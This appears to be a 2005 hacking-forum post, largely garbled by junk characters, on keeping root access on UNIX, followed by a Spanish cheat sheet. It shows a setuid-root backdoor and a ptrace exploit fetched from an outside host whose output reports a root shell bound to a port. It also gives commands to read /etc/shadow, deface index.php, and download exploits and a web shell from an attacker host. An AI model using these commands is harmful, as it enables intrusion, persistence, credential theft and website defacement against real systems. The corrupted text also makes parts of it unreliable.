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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
0 F6 y1 M  g: J8 C  Z<>1.</P>0 J2 F# e5 ^6 v3 I/ r) E1 ^' X" N7 V2 w
<>[cnbird@localhost tmp]#id</P>9 T$ n/ Q8 {6 G' p+ [1 G
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>; j  \6 U, {  m! S- K+ l
<>[cnbird@localhost tmp]#cp `which id ` .</P>
/ W& n4 f0 i0 ^. s3 K<>[cnbird@localhost tmp]#chown root ./id</P>; }6 Y3 W8 y: f( d7 d! \5 ?! B5 E9 v
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>, C) `( E4 P& q% M3 I3 _
<>[cnbird@localhost tmp]#ls -l ./id</P>3 L' w+ u8 m2 U1 p9 V
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
1 X  A7 u2 T, t4 I# B" [<>[cnbird@localhost tmp]#exit</P>
9 E# Y' f/ L& y) n( h<>[cnbird@localhost tmp]$id</P>
5 P& G! i+ R  O<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>( `5 X- S* x/ O: G" t6 p! @1 h
<>[cnbird@localhost tmp]$./id </P>
( r8 a) @& h2 F! m9 E<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
- {( I$ R, u4 s0 I7 p2 D<>2.利用ptrace成为root的方法</P>, U5 t7 H/ L4 s/ o/ D
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
& `9 ?: ?9 a7 ?4 W3 E% H4 M-&gt; Parent's PID is 2313. Child's PID is 2314.. d" p# E- K; @4 K+ @- p/ w% u
-&gt; Attaching to 2315...7 z* X8 v6 {/ M. d
-&gt; Got the thread!!* f# [+ T) }/ j0 @0 r
-&gt; Waiting for the next signal...: M* l8 z% W8 L! K: `3 i# }, d. O
-&gt; Injecting shellcode at 0x4000e85d7 H- O/ i" h8 S
-&gt; Bind root shell on port 24876... =p
2 N( [  b2 B* K5 _" }7 G( a  B# `-&gt; Detached from modprobe thread.
" G' W! U- @) v. Q-&gt; Committing suicide.....</P>
: E' Y# l9 Q3 G, i$ g: Q! y  X3 [<>[bash]# id# j7 c1 b- e- b( P$ `$ \
uid=0(root) gid=0(root) groups=0(root)</P>8 i" Q" {+ d2 q" D/ D: W
<>ara ver los dominios que hay en el server:" P* a$ l/ k! t% G* K4 ^  }
---------------------------------------------------------
6 a: s( s% A/ Q/ _  f0 Mcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
+ U# \: r" W6 d1 h% ?' ?6 m& N. Kcat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios7 r8 s$ f+ u- {: |1 s3 s) T# k* z3 n
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
1 f" f; M# W$ i5 i: o9 Q3 ycat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
' ]/ m# ~* ]0 j' @& d/ F9 dcat /etc/userdomains &lt;&lt; Este es el mas comun% Z2 N3 l$ D. D9 h$ [( }
---------------------------------------------------------</P>5 r4 ^- |, I, m) E* a5 @5 k' M4 g
<>ara ver la version de kernel:, U) p% s5 Z, r8 F" M
---------------------------------------------------------
1 t+ t) v1 o9 e+ v' r/ V- ~uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.3 ^4 [$ @# |9 H. i4 V- l; J
---------------------------------------------------------</P>  m5 w& w& S) m5 H6 L' e. M
<>ara modificar un index ya existente:
) J$ `# d' a; _* l/ ^0 U---------------------------------------------------------
& x! |+ @9 W7 Z" recho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido/ D+ s* M# n! P! X
---------------------------------------------------------</P>
3 D: A8 Z6 A, ?; Y. Y* C- ^<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
4 g9 v, Z$ p/ U" Y& O---------------------------------------------------------
% @! f1 {3 q8 u4 R$ kcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
  v8 C! J& ?/ R  ncd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
# H8 b/ ~  r2 e8 j( [/ Qcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
6 ?; \' E( j8 p! Wcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". % A* k% F$ Z3 l) Z
Hasta aqui termina el proceso para un exploit.
: z6 q  T* e. j2 O---------------------------------------------------------</P>4 k  Q4 k! O, X
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:( ^  E# d2 k- E$ q' w4 u
---------------------------------------------------------$ x; X3 H  Y+ Q  ]
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
' H4 D4 C' [0 ?; i! M. K---------------------------------------------------------</P>
) q4 c7 ~* R# B<>Borrar un Ficher
0 X7 |, l. J, {) F---------------------------------------------------------: s; N, I3 h/ X, ?3 r8 r8 s
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
: d/ @7 q) P8 m6 t: N; \---------------------------------------------------------</P># f) j: r( ^9 n( f
<>Subir un ficher9 e  U) y. V: t5 X8 W+ F+ k
---------------------------------------------------------
( F9 \8 M/ [+ h* F2 ?cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>& U4 u! v9 _  E" h
<>
# c% x9 w) e* m6 Z% D1 _<CENTER></CENTER>
zan
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